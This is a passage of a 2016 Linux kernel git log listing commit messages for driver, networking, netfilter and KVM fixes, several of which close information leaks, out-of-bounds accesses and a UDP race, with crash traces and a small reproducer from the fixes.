lines") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 9799c50372b23ed774791bdb87d700f1286ee8a9 Author: Linus Lüssing Date: Thu Oct 6 01:43:08 2016 +0200 batman-adv: fix splat on disabling an interface As long as there is still a reference for a hard interface held, there might still be a forwarding packet relying on its attributes. Therefore avoid setting hard_iface->soft_iface to NULL when disabling a hard interface. This fixes the following, potential splat: batman_adv: bat0: Interface deactivated: eth1 batman_adv: bat0: Removing interface: eth1 cgroup: new mount options do not match the existing superblock, will be ignored batman_adv: bat0: Interface deactivated: eth3 batman_adv: bat0: Removing interface: eth3 ------------[ cut here ]------------ WARNING: CPU: 3 PID: 1986 at ./net/batman-adv/bat_iv_ogm.c:549 batadv_iv_send_outstanding_bat_ogm_packet+0x145/0x643 [batman_adv] Modules linked in: batman_adv(O-) <...> CPU: 3 PID: 1986 Comm: kworker/u8:2 Tainted: G W O 4.6.0-rc6+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014 Workqueue: bat_events batadv_iv_send_outstanding_bat_ogm_packet [batman_adv] 0000000000000000 ffff88001d93bca0 ffffffff8126c26b 0000000000000000 0000000000000000 ffff88001d93bcf0 ffffffff81051615 ffff88001f19f818 000002251d93bd68 0000000000000046 ffff88001dc04a00 ffff88001becbe48 Call Trace: [] dump_stack+0x67/0x90 [] __warn+0xc7/0xe5 [] warn_slowpath_null+0x18/0x1a [] batadv_iv_send_outstanding_bat_ogm_packet+0x145/0x643 [batman_adv] [] ? __lock_is_held+0x32/0x54 [] process_one_work+0x2a8/0x4f5 [] ? process_one_work+0x15c/0x4f5 [] worker_thread+0x1d5/0x2c0 [] ? process_scheduled_works+0x2e/0x2e [] ? process_scheduled_works+0x2e/0x2e [] kthread+0xc0/0xc8 [] ret_from_fork+0x22/0x40 [] ? __init_kthread_worker+0x55/0x55 ---[ end trace 647f9f325123dc05 ]--- What happened here is, that there was still a forw_packet (here: a BATMAN IV OGM) in the queue of eth3 with the forw_packet->if_incoming set to eth1 and the forw_packet->if_outgoing set to eth3. When eth3 is to be deactivated and removed, then this thread waits for the forw_packet queued on eth3 to finish. Because eth1 was deactivated and removed earlier and by that had forw_packet->if_incoming->soft_iface, set to NULL, the splat when trying to send/flush the OGM on eth3 occures. Fixes: c6c8fea29769 ("net: Add batman-adv meshing protocol") Signed-off-by: Linus Lüssing [sven@narfation.org: Reduced size of Oops message] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/hard-interface.c | 1 - 1 file changed, 1 deletion(-) commit 3eded5d83bf4e36ad78775c7ceb44a45480b0abd Author: Lars-Peter Clausen Date: Tue Oct 18 16:54:02 2016 +0200 gpio: GPIOHANDLE_GET_LINE_VALUES_IOCTL: Fix information leak The GPIOHANDLE_GET_LINE_VALUES_IOCTL handler allocates a gpiohandle_data struct on the stack and then passes it to copy_to_user(). But depending on the number of requested line handles the struct is only partially initialized. This exposes the previous, potentially sensitive, stack content to the issuing userspace application. To avoid this make sure that the struct is fully initialized. Cc: stable@vger.kernel.org Fixes: d7c51b47ac11 ("gpio: userspace ABI for reading/writing GPIO lines") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 2 ++ 1 file changed, 2 insertions(+) commit b8b0e3d303654b3bb7b31b0266c513fd6f4132ce Author: Lars-Peter Clausen Date: Tue Oct 18 16:54:03 2016 +0200 gpio: GPIO_GET_LINEEVENT_IOCTL: Validate line offset The line offset that is used as an index into the descs array is provided by userspace and might go beyond the bounds of the array. If that happens undefined behavior will occur. Make sure that the offset is within the bounds of the desc array and reject any requests that specify a value outside of it. Cc: stable@vger.kernel.org Fixes: 61f922db7221 ("gpio: userspace ABI for reading GPIO line events") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 5 +++++ 1 file changed, 5 insertions(+) commit d82aa4a8f2e8df9673ddb099262355da4c9b99b1 Author: Lars-Peter Clausen Date: Tue Oct 18 16:54:04 2016 +0200 gpio: GPIOHANDLE_GET_LINE_VALUES_IOCTL: Fix information leak The GPIOHANDLE_GET_LINE_VALUES_IOCTL handler allocates a gpiohandle_data struct on the stack and then passes it to copy_to_user(). But only the first element of the values array in the struct is set, which leaves the struct partially initialized. This exposes the previous, potentially sensitive, stack content to the issuing userspace application. To avoid this make sure that the struct is fully initialized. Cc: stable@vger.kernel.org Fixes: 61f922db7221 ("gpio: userspace ABI for reading GPIO line events") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 2 ++ 1 file changed, 2 insertions(+) commit e405f9fcb63602d35f7a419ededa3f952a395a72 Author: Lars-Peter Clausen Date: Tue Oct 18 16:54:01 2016 +0200 gpio: GPIO_GET_LINEHANDLE_IOCTL: Validate line offset The line offset that is used as an index into the descs array is provided by userspace and might go beyond the bounds of the array. If that happens undefined behavior will occur. Make sure that the offset is within the bounds of the desc array and reject any requests that specify a value outside of it. Cc: stable@vger.kernel.org Fixes: d7c51b47ac11 ("gpio: userspace ABI for reading/writing GPIO lines") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 5 +++++ 1 file changed, 5 insertions(+) commit 0f4bbb233743bdfd51d47688b0bc2561f310488b Author: Lars-Peter Clausen Date: Tue Oct 18 16:54:00 2016 +0200 gpio: GPIO_GET_CHIPINFO_IOCTL: Fix information leak The GPIO_GET_CHIPINFO_IOCTL handler allocates a gpiochip_info struct on the stack and then passes it to copy_to_user(). But depending on the length of the GPIO chip name and label the struct is only partially initialized. This exposes the previous, potentially sensitive, stack content to the issuing userspace application. To avoid this make sure that the struct is fully initialized. Cc: stable@vger.kernel.org Fixes: 521a2ad6f862 ("gpio: add userspace ABI for GPIO line information") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 2 ++ 1 file changed, 2 insertions(+) commit 1f1cc4566bd9dd8d3cf19965a4b6392143618536 Author: Lars-Peter Clausen Date: Tue Oct 18 16:53:59 2016 +0200 gpio: GPIO_GET_CHIPINFO_IOCTL: Fix line offset validation The current line offset validation is off by one. Depending on the data stored behind the descs array this can either cause undefined behavior or disclose arbitrary, potentially sensitive, memory to the issuing userspace application. Make sure that offset is within the bounds of the desc array. Cc: stable@vger.kernel.org Fixes: 521a2ad6f862 ("gpio: add userspace ABI for GPIO line information") Signed-off-by: Lars-Peter Clausen Signed-off-by: Linus Walleij drivers/gpio/gpiolib.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3118dac501bc0317de099db81618d589503351e1 Author: Sudip Mukherjee Date: Thu Oct 6 23:06:43 2016 +0530 kernel/irq: Export irq_set_parent() The TPS65217 driver grew interrupt support which uses irq_set_parent(). While it's not yet clear why this is used in the first place, building the driver as a module fails with: ERROR: ".irq_set_parent" [drivers/mfd/tps65217.ko] undefined! The correctness of the driver change is still investigated, but for now it's less trouble to export irq_set_parent() than dealing with the build wreckage. [ tglx: Rewrote changelog and made the export GPL ] Fixes: 6556bdacf646 ("mfd: tps65217: Add support for IRQs") Signed-off-by: Sudip Mukherjee Cc: Sudip Mukherjee Cc: Marcin Niestroj Cc: Grygorii Strashko Cc: Tony Lindgren Cc: Lee Jones Link: http://lkml.kernel.org/r/1475775403-27207-1-git-send-email-sudipm.mukherjee@gmail.com Signed-off-by: Thomas Gleixner kernel/irq/manage.c | 1 + 1 file changed, 1 insertion(+) commit 1ba0158fa66b5b2c597a748f87be1650c9960ccc Author: Hannes Reinecke Date: Mon Aug 22 10:54:11 2016 +0200 target/tcm_fc: use CPU affinity for responses The libfc stack assigns exchange IDs based on the CPU the request was received on, so we need to send the responses via the same CPU. Otherwise the send logic gets confuses and responses will be delayed, causing exchange timeouts on the initiator side. Signed-off-by: Hannes Reinecke Cc: stable@vger.kernel.org # 4.5+ Signed-off-by: Nicholas Bellinger drivers/target/tcm_fc/tfc_cmd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8962a4d29bcb3d12164c02d207c8ff1ab8b04558 Author: Hannes Reinecke Date: Mon Aug 22 10:54:10 2016 +0200 target/tcm_fc: Update debugging statements to match libfc usage Update the debug statements to match those from libfc. Signed-off-by: Hannes Reinecke Signed-off-by: Nicholas Bellinger drivers/target/tcm_fc/tfc_sess.c | 37 ++++++++++++++++++++++++++----------- 1 file changed, 26 insertions(+), 11 deletions(-) commit 91b385b4909e040450389b11961a8ba8f8e9a35e Author: Hannes Reinecke Date: Mon Aug 22 10:54:09 2016 +0200 target/tcm_fc: return detailed error in ft_sess_create() Not every failure is due to out-of-memory; the ACLs might not be set, too. So return a detailed error code in ft_sess_create() instead of just a NULL pointer. Signed-off-by: Hannes Reinecke Signed-off-by: Nicholas Bellinger drivers/target/tcm_fc/tfc_sess.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit b04bf5833e8a0d6ae4e3f7b35b30c4ab6ff7ea1b Author: Hannes Reinecke Date: Mon Aug 22 10:54:08 2016 +0200 target/tcm_fc: print command pointer in debug message When allocating a new command we should add the pointer to the debug statements; that allows us to match this with other debug statements for handling data. Signed-off-by: Hannes Reinecke Signed-off-by: Nicholas Bellinger drivers/target/tcm_fc/tfc_cmd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1b4c59b7a1d0b9d8019254a5f2e35b2663f49a9e Author: Hannes Reinecke Date: Mon Aug 22 10:54:07 2016 +0200 target: fix potential race window in target_sess_cmd_list_waiting() target_sess_cmd_list_waiting() might hit on a condition where the kref for the command is already 0, but the destructor has not been called yet (or is stuck in waiting for a spin lock). Rather than leaving the command on the list we should explicitly remove it to avoid race issues later on. Signed-off-by: Hannes Reinecke Signed-off-by: Nicholas Bellinger drivers/target/target_core_transport.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit c699995663b40d61afcc14ca27f0106f13151772 Author: Axel Lin Date: Sat Sep 10 09:55:49 2016 +0800 pwm: meson: Add missing spin_lock_init() The driver uses the spin_lock but does not initialize it. Fix it. Signed-off-by: Axel Lin Acked-by: Neil Armstrong Signed-off-by: Thierry Reding drivers/pwm/pwm-meson.c | 1 + 1 file changed, 1 insertion(+) commit 26beaee9bb07be20cc641c1251152e280e80f54e Merge: 96ebf7c 8814d2d Author: Dave Airlie Date: Fri Oct 21 13:27:55 2016 +1000 Merge branch 'drm-etnaviv-fixes' of git://git.pengutronix.de/lst/linux into drm-fixes 2 more patches to stabilize the new MMUv2 support. * 'drm-etnaviv-fixes' of git://git.pengutronix.de/lst/linux: drm/etnaviv: block 64K of address space behind each cmdstream drm/etnaviv: ensure write caches are flushed at end of user cmdstream commit 96ebf7cb9fe6cf356fe455ee159a2cea06ff9014 Merge: e947f03 862f615 Author: Dave Airlie Date: Fri Oct 21 13:26:58 2016 +1000 Merge branch 'drm-vmwgfx-fixes' of ssh://people.freedesktop.org/~syeh/repos_linux into drm-fixes vmwgfx cleanups and fixes. * 'drm-vmwgfx-fixes' of ssh://people.freedesktop.org/~syeh/repos_linux: drm/vmwgfx: Adjust checks for null pointers in 13 functions drm/vmwgfx: Use memdup_user() rather than duplicating its implementation drm/vmwgfx: Use kmalloc_array() in vmw_surface_define_ioctl() drm/vmwgfx: Avoid validating views on view destruction drm/vmwgfx: Limit the user-space command buffer size drm/vmwgfx: Remove a leftover debug printout drm/vmwgfx: Allow resource relocations on byte boundaries drm/vmwgfx: Enable SVGA_3D_CMD_DX_TRANSFER_FROM_BUFFER command drm/vmwgfx: Remove call to reservation_object_test_signaled_rcu before wait drm/vmwgfx: Replace numeric parameter like 0444 with macro commit e947f03d9367d8fdce1054c7df2387662a9daa50 Merge: 961050d ea908ba Author: Dave Airlie Date: Fri Oct 21 13:26:15 2016 +1000 Merge branch 'drm-armada-fixes' of git://git.armlinux.org.uk/~rmk/linux-arm into drm-fixes One small fix for Armada, where the clock prepare/enable counts were going awry. * 'drm-armada-fixes' of git://git.armlinux.org.uk/~rmk/linux-arm: drm/armada: fix clock counts commit 961050d7284e5a17a6e13b3f7341696a99cae607 Merge: 6f33d645 0a70c99 Author: Dave Airlie Date: Fri Oct 21 13:25:28 2016 +1000 Merge branch 'fixes-for-v4.9-rc2' of http://git.agner.ch/git/linux-drm-fsl-dcu into drm-fixes This are some fixes which I hoped to still get into v4.9. I used to test them here since about 2 weeks and Meng came around to test it on the second platform making use of this IP too, so they are well tested now. * 'fixes-for-v4.9-rc2' of http://git.agner.ch/git/linux-drm-fsl-dcu: drm/fsl-dcu: enable pixel clock when enabling CRTC drm/fsl-dcu: do not transfer registers in mode_set_nofb drm/fsl-dcu: do not transfer registers on plane init drm/fsl-dcu: enable TCON bypass mode by default commit 97dcaa0fcfd24daa9a36c212c1ad1d5a97759212 Author: Florian Fainelli Date: Thu Oct 20 18:15:16 2016 -0700 kexec: Export kexec_in_progress to modules The bcm_sf2 driver uses kexec_in_progress to know whether it can power down an integrated PHY during shutdown, and can be built as a module. Other modules may be using this in the future, so export it. Fixes: 2399d6143f85 ("net: dsa: bcm_sf2: Prevent GPHY shutdown for kexec'd kernels") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller kernel/kexec_core.c | 1 + 1 file changed, 1 insertion(+) commit 91bbc174d45c347aa7aedb2215cc7d2013c06c1f Author: Christophe JAILLET Date: Sun Sep 25 13:53:58 2016 +0200 clk: at91: Fix a return value in case of error If 'clk_hw_register()' fails, it is likely that we expect to return an error instead of a valid pointer (which would mean success). Fix commit f5644f10dcfb ("clk: at91: Migrate to clk_hw based registration and OF APIs") Signed-off-by: Christophe JAILLET Signed-off-by: Stephen Boyd drivers/clk/at91/clk-programmable.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 28e3d7002ba9f773662b2cf75d28cadfa29dc442 Author: Mika Westerberg Date: Thu Oct 20 18:03:36 2016 +0300 watchdog: wdat_wdt: Ping the watchdog on resume It turns out we need to ping the watchdog hardware on resume when we re-program it. Otherwise this causes inadvertent reset to trigger right after the resume is complete. Fixes: 058dfc767008 (ACPI / watchdog: Add support for WDAT hardware watchdog) Signed-off-by: Mika Westerberg Acked-by: Guenter Roeck Signed-off-by: Rafael J. Wysocki drivers/watchdog/wdat_wdt.c | 4 ++++ 1 file changed, 4 insertions(+) commit 6f33d6458e35d6ba53c2635ee4b8a3177cbd912d Merge: f4814e6 350d323 Author: Linus Torvalds Date: Thu Oct 20 15:32:51 2016 -0700 Merge tag 'pm-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull power management fix from Rafael Wysocki: "This fixes the pointer arithmetics mess-up in the cpufreq core introduced by one of recent commits and leading to all kinds of breakage from kernel crashes to incorrect governor decisions (Sergey Senozhatsky)" * tag 'pm-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: cpufreq: fix overflow in cpufreq_table_find_index_dl() commit 350d32395bee1a21deec504a253b336e20d9f35a Merge: 1001354 c6fe46a Author: Rafael J. Wysocki Date: Thu Oct 20 23:24:58 2016 +0200 Merge branch 'pm-cpufreq' * pm-cpufreq: cpufreq: fix overflow in cpufreq_table_find_index_dl() commit 593876838826914a7e4e05fbbcb728be6fbc4d89 Author: Chen-Yu Tsai Date: Tue Oct 18 13:49:18 2016 +0800 Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init" struct clocksource is also used by the clk notifier callback, to unregister and re-register the clocksource with a different clock rate. clocksource_mmio_init does not pass back a pointer to the struct used, and the clk notifier callback assumes that the struct clocksource in struct sun5i_timer_clksrc is valid. This results in a kernel NULL pointer dereference when the hstimer clock is changed: Unable to handle kernel NULL pointer dereference at virtual address 00000004 [] (clocksource_unbind) from [] (clocksource_unregister+0x2c/0x44) [] (clocksource_unregister) from [] (sun5i_rate_cb_clksrc+0x34/0x3c) [] (sun5i_rate_cb_clksrc) from [] (notifier_call_chain+0x44/0x84) [] (notifier_call_chain) from [] (__srcu_notifier_call_chain+0x44/0x60) [] (__srcu_notifier_call_chain) from [] (srcu_notifier_call_chain+0x18/0x20) [] (srcu_notifier_call_chain) from [] (__clk_notify+0x70/0x7c) [] (__clk_notify) from [] (clk_propagate_rate_change+0xa4/0xc4) [] (clk_propagate_rate_change) from [] (clk_propagate_rate_change+0x6c/0xc4) Revert the commit for now. clocksource_mmio_init can be made to pass back a pointer, but the code churn and usage of an inner struct might not be worth it. Fixes: 157dfadef832 ("clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init") Reported-by: Maxime Ripard Signed-off-by: Chen-Yu Tsai Cc: linux-sunxi@googlegroups.com Cc: Daniel Lezcano Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/20161018054918.26855-1-wens@csie.org Signed-off-by: Thomas Gleixner drivers/clocksource/timer-sun5i.c | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) commit a681574c99be23e4d20b769bf0e543239c364af5 Author: Eric Dumazet Date: Thu Oct 20 10:26:48 2016 -0700 ipv4: disable BH in set_ping_group_range() In commit 4ee3bd4a8c746 ("ipv4: disable BH when changing ip local port range") Cong added BH protection in set_local_port_range() but missed that same fix was needed in set_ping_group_range() Fixes: b8f1a55639e6 ("udp: Add function to make source port for UDP tunnels") Signed-off-by: Eric Dumazet Reported-by: Eric Salo Signed-off-by: David S. Miller net/ipv4/sysctl_net_ipv4.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 286c72deabaa240b7eebbd99496ed3324d69f3c0 Author: Eric Dumazet Date: Thu Oct 20 09:39:40 2016 -0700 udp: must lock the socket in udp_disconnect() Baozeng Ding reported KASAN traces showing uses after free in udp_lib_get_port() and other related UDP functions. A CONFIG_DEBUG_PAGEALLOC=y kernel would eventually crash. I could write a reproducer with two threads doing : static int sock_fd; static void *thr1(void *arg) { for (;;) { connect(sock_fd, (const struct sockaddr *)arg, sizeof(struct sockaddr_in)); } } static void *thr2(void *arg) { struct sockaddr_in unspec; for (;;) { memset(&unspec, 0, sizeof(unspec)); connect(sock_fd, (const struct sockaddr *)&unspec, sizeof(unspec)); } } Problem is that udp_disconnect() could run without holding socket lock, and this was causing list corruptions. Signed-off-by: Eric Dumazet Reported-by: Baozeng Ding Signed-off-by: David S. Miller include/net/udp.h | 1 + net/ipv4/ping.c | 2 +- net/ipv4/raw.c | 2 +- net/ipv4/udp.c | 13 +++++++++++-- net/ipv6/ping.c | 2 +- net/ipv6/raw.c | 2 +- net/l2tp/l2tp_ip.c | 2 +- net/l2tp/l2tp_ip6.c | 2 +- 8 files changed, 18 insertions(+), 8 deletions(-) commit 2399d6143f85b155ae84ccd94237befd36b8f6c7 Author: Florian Fainelli Date: Thu Oct 20 09:32:19 2016 -0700 net: dsa: bcm_sf2: Prevent GPHY shutdown for kexec'd kernels For a kernel that is being kexec'd we re-enable the integrated GPHY in order for the subsequent MDIO bus scan to succeed and properly bind to the bcm7xxx PHY driver. If we did not do that, the GPHY would be shut down by the time the MDIO driver is probing the bus, and it would fail to read the correct PHY OUI and therefore bind to an appropriate PHY driver. Later on, this would cause DSA not to be able to successfully attach to the PHY, and the interface would not be created at all. Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 0d906b1e8d4002cdd59590fec630f4e75023e288 Author: Daniel Borkmann Date: Thu Oct 20 17:13:53 2016 +0200 bpf, test: fix ld_abs + vlan push/pop stress test After commit 636c2628086e ("net: skbuff: Remove errornous length validation in skb_vlan_pop()") mentioned test case stopped working, throwing a -12 (ENOMEM) return code. The issue however is not due to 636c2628086e, but rather due to a buggy test case that got uncovered from the change in behaviour in 636c2628086e. The data_size of that test case for the skb was set to 1. In the bpf_fill_ld_abs_vlan_push_pop() handler bpf insns are generated that loop with: reading skb data, pushing 68 tags, reading skb data, popping 68 tags, reading skb data, etc, in order to force a skb expansion and thus trigger that JITs recache skb->data. Problem is that initial data_size is too small. While before 636c2628086e, the test silently bailed out due to the skb->len < VLAN_ETH_HLEN check with returning 0, and now throwing an error from failing skb_ensure_writable(). Set at least minimum of ETH_HLEN as an initial length so that on first push of data, equivalent pop will succeed. Fixes: 4d9c5c53ac99 ("test_bpf: add bpf_skb_vlan_push/pop() tests") Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller lib/test_bpf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fcd91dd449867c6bfe56a81cabba76b829fd05cd Author: Sabrina Dubroca Date: Thu Oct 20 15:58:02 2016 +0200 net: add recursion limit to GRO Currently, GRO can do unlimited recursion through the gro_receive handlers. This was fixed for tunneling protocols by limiting tunnel GRO to one level with encap_mark, but both VLAN and TEB still have this problem. Thus, the kernel is vulnerable to a stack overflow, if we receive a packet composed entirely of VLAN headers. This patch adds a recursion counter to the GRO layer to prevent stack overflow. When a gro_receive function hits the recursion limit, GRO is aborted for this skb and it is processed normally. This recursion counter is put in the GRO CB, but could be turned into a percpu counter if we run out of space in the CB. Thanks to Vladimír Beneš for the initial bug report. Fixes: CVE-2016-7039 Fixes: 9b174d88c257 ("net: Add Transparent Ethernet Bridging GRO support.") Fixes: 66e5133f19e9 ("vlan: Add GRO support for non hardware accelerated vlan") Signed-off-by: Sabrina Dubroca Reviewed-by: Jiri Benc Acked-by: Hannes Frederic Sowa Acked-by: Tom Herbert Signed-off-by: David S. Miller drivers/net/geneve.c | 2 +- drivers/net/vxlan.c | 2 +- include/linux/netdevice.h | 39 ++++++++++++++++++++++++++++++++++++++- net/8021q/vlan.c | 2 +- net/core/dev.c | 1 + net/ethernet/eth.c | 2 +- net/ipv4/af_inet.c | 2 +- net/ipv4/fou.c | 4 ++-- net/ipv4/gre_offload.c | 2 +- net/ipv4/udp_offload.c | 2 +- net/ipv6/ip6_offload.c | 2 +- 11 files changed, 49 insertions(+), 11 deletions(-) commit 3633031db5bcc87f5b7d9938c4f94bc8f178c51f Merge: f6bbf1b a5efb6b Author: Radim Krčmář Date: Thu Oct 20 20:31:01 2016 +0200 Merge tag 'kvm-s390-master-4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/kvms390/linux KVM: s390: Fix for user-triggerable WARN_ON A malicious user space can provide an invalid mode for runtime instrumentation via the interfaces that are normally used on the target host during migration. This would trigger a WARN_ON via validity intercept. Let's detect this special case. commit 7aa8e63f0d0f2e0ae353632bca1ce75a258696c6 Author: Jiri Bohac Date: Thu Oct 20 12:29:26 2016 +0200 ipv6: properly prevent temp_prefered_lft sysctl race The check for an underflow of tmp_prefered_lft is always false because tmp_prefered_lft is unsigned. The intention of the check was to guard against racing with an update of the temp_prefered_lft sysctl, potentially resulting in an underflow. As suggested by David Miller, the best way to prevent the race is by reading the sysctl variable using READ_ONCE. Signed-off-by: Jiri Bohac Reported-by: Julia Lawall Fixes: 76506a986dc3 ("IPv6: fix DESYNC_FACTOR") Signed-off-by: David S. Miller net/ipv6/addrconf.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 9995f4f184613fb02ee73092b03545520a72b104 Author: Rich Felker Date: Thu Oct 13 21:51:06 2016 +0000 clocksource: Add J-Core timer/clocksource driver At the hardware level, the J-Core PIT is integrated with the interrupt controller, but it is represented as its own device and has an independent programming interface. It provides a 12-bit countdown timer, which is not presently used, and a periodic timer. The interval length for the latter is programmable via a 32-bit throttle register whose units are determined by a bus-period register. The periodic timer is used to implement both periodic and oneshot clock event modes; in oneshot mode the interrupt handler simply disables the timer as soon as it fires. Despite its device tree node representing an interrupt for the PIT, the actual irq generated is programmable, not hard-wired. The driver is responsible for programming the PIT to generate the hardware irq number that the DT assigns to it. On SMP configurations, J-Core provides cpu-local instances of the PIT; no broadcast timer is needed. This driver supports the creation of the necessary per-cpu clock_event_device instances. A nanosecond-resolution clocksource is provided using the J-Core "RTC" registers, which give a 64-bit seconds count and 32-bit nanoseconds that wrap every second. The driver converts these to a full-range 32-bit nanoseconds count. Signed-off-by: Rich Felker Cc: Mark Rutland Cc: devicetree@vger.kernel.org Cc: linux-sh@vger.kernel.org Cc: Daniel Lezcano Cc: Rob Herring Link: http://lkml.kernel.org/r/b591ff12cc5ebf63d1edc98da26046f95a233814.1476393790.git.dalias@libc.org Signed-off-by: Thomas Gleixner drivers/clocksource/Kconfig | 10 ++ drivers/clocksource/Makefile | 1 + drivers/clocksource/jcore-pit.c | 249 ++++++++++++++++++++++++++++++++++++++++ include/linux/cpuhotplug.h | 1 + 4 files changed, 261 insertions(+) commit a2ce092be34c4951e23104a0bfdec08f9577fada Author: Rich Felker Date: Thu Oct 13 21:51:06 2016 +0000 of: Add J-Core timer bindings Signed-off-by: Rich Felker Acked-by: Rob Herring Cc: Mark Rutland Cc: devicetree@vger.kernel.org Cc: linux-sh@vger.kernel.org Cc: Daniel Lezcano Cc: Rob Herring Link: http://lkml.kernel.org/r/8b107c292ed8cf8eed0fa283071fc8a930098628.1476393790.git.dalias@libc.org Signed-off-by: Thomas Gleixner .../devicetree/bindings/timer/jcore,pit.txt | 24 ++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit a5efb6b6c99a3a6dc4330f51d8066f638bdea0ac Author: Christian Borntraeger Date: Wed Sep 28 16:18:47 2016 +0200 KVM: s390: reject invalid modes for runtime instrumentation Usually a validity intercept is a programming error of the host because of invalid entries in the state description. We can get a validity intercept if the mode of the runtime instrumentation control block is wrong. As the host does not know which modes are valid, this can be used by userspace to trigger a WARN. Instead of printing a WARN let's return an error to userspace as this can only happen if userspace provides a malformed initial value (e.g. on migration). The kernel should never warn on bogus input. Instead let's log it into the s390 debug feature. While at it, let's return -EINVAL for all validity intercepts as this will trigger an error in QEMU like error: kvm run failed Invalid argument PSW=mask 0404c00180000000 addr 000000000063c226 cc 00 R00=000000000000004f R01=0000000000000004 R02=0000000000760005 R03=000000007fe0a000 R04=000000000064ba2a R05=000000049db73dd0 R06=000000000082c4b0 R07=0000000000000041 R08=0000000000000002 R09=000003e0804042a8 R10=0000000496152c42 R11=000000007fe0afb0 [...] This will avoid an endless loop of validity intercepts. Cc: stable@vger.kernel.org # v4.5+ Fixes: c6e5f166373a ("KVM: s390: implement the RI support of guest") Acked-by: Fan Zhang Reviewed-by: Pierre Morel Signed-off-by: Christian Borntraeger arch/s390/kvm/intercept.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 7034b566a4e7d550621c2dfafd380b77b3787cd9 Author: Pablo Neira Ayuso Date: Mon Oct 17 18:05:32 2016 +0100 netfilter: fix nf_queue handling nf_queue handling is broken since e3b37f11e6e4 ("netfilter: replace list_head with single linked list") for two reasons: 1) If the bypass flag is set on, there are no userspace listeners and we still have more hook entries to iterate over, then jump to the next hook. Otherwise accept the packet. On nf_reinject() path, the okfn() needs to be invoked. 2) We should not re-enter the same hook on packet reinjection. If the packet is accepted, we have to skip the current hook from where the packet was enqueued, otherwise the packets gets enqueued over and over again. This restores the previous list_for_each_entry_continue() behaviour happening from nf_iterate() that was dealing with these two cases. This patch introduces a new nf_queue() wrapper function so this fix becomes simpler. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Pablo Neira Ayuso net/netfilter/core.c | 13 +++--------- net/netfilter/nf_internals.h | 2 +- net/netfilter/nf_queue.c | 48 +++++++++++++++++++++++++++++--------------- 3 files changed, 36 insertions(+), 27 deletions(-) commit 7bb6615d395a7c130053728f3a64f6df6b2e1f18 Author: Nicolas Dichtel Date: Tue Oct 18 14:37:32 2016 +0200 netfilter: conntrack: restart gc immediately if GC_MAX_EVICTS is reached When the maximum evictions number is reached, do not wait 5 seconds before the next run. CC: Florian Westphal Signed-off-by: Nicolas Dichtel Acked-by: Florian Westphal Signed-off-by: Pablo Neira Ayuso net/netfilter/nf_conntrack_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a478b097474cd9f2268ab1beaca74ff09e652b9b Author: Christoph Hellwig Date: Thu Oct 20 17:15:41 2016 +0200 ahci: fix nvec check commit 17a51f12 ("ahci: only try to use multi-MSI mode if there is more than 1 port") lead to a case where nvec isn't initialized before it's used. Fix this by moving the check into the n_ports conditional. Reported-and-reviewed-by Colin Ian King Signed-off-by: Christoph Hellwig Signed-off-by: Tejun Heo drivers/ata/ahci.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit f4814e61836f5571d2b89169ba2e9ea59e2bc8c8 Merge: bdcff415 f7881bd Author: Linus Torvalds Date: Thu Oct 20 10:17:13 2016 -0700 Merge tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux Pull arm64 fixes from Will Deacon: "Most of these are CC'd for stable, but there are a few fixing issues introduced during the recent merge window too. There's also a fix for the xgene PMU driver, but it seemed daft to send as a separate pull request, so I've included it here with the rest of the fixes. - Fix ACPI boot due to recent broken NUMA changes - Fix remote enabling of CPU features requiring PSTATE bit manipulation - Add address range check when emulating user cache maintenance - Fix LL/SC loops that allow compiler to introduce memory accesses - Fix recently added write_sysreg_s macro - Ensure MDCR_EL2 is initialised on qemu targets without a PMU - Avoid kaslr breakage due to MODVERSIONs and DYNAMIC_FTRACE - Correctly drive recent ld when building relocatable Image - Remove junk IS_ERR check from xgene PMU driver added during merge window - pr_cont fixes after core changes in the merge window" * tag 'arm64-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux: arm64: remove pr_cont abuse from mem_init arm64: fix show_regs fallout from KERN_CONT changes arm64: kernel: force ET_DYN ELF type for CONFIG_RELOCATABLE=y 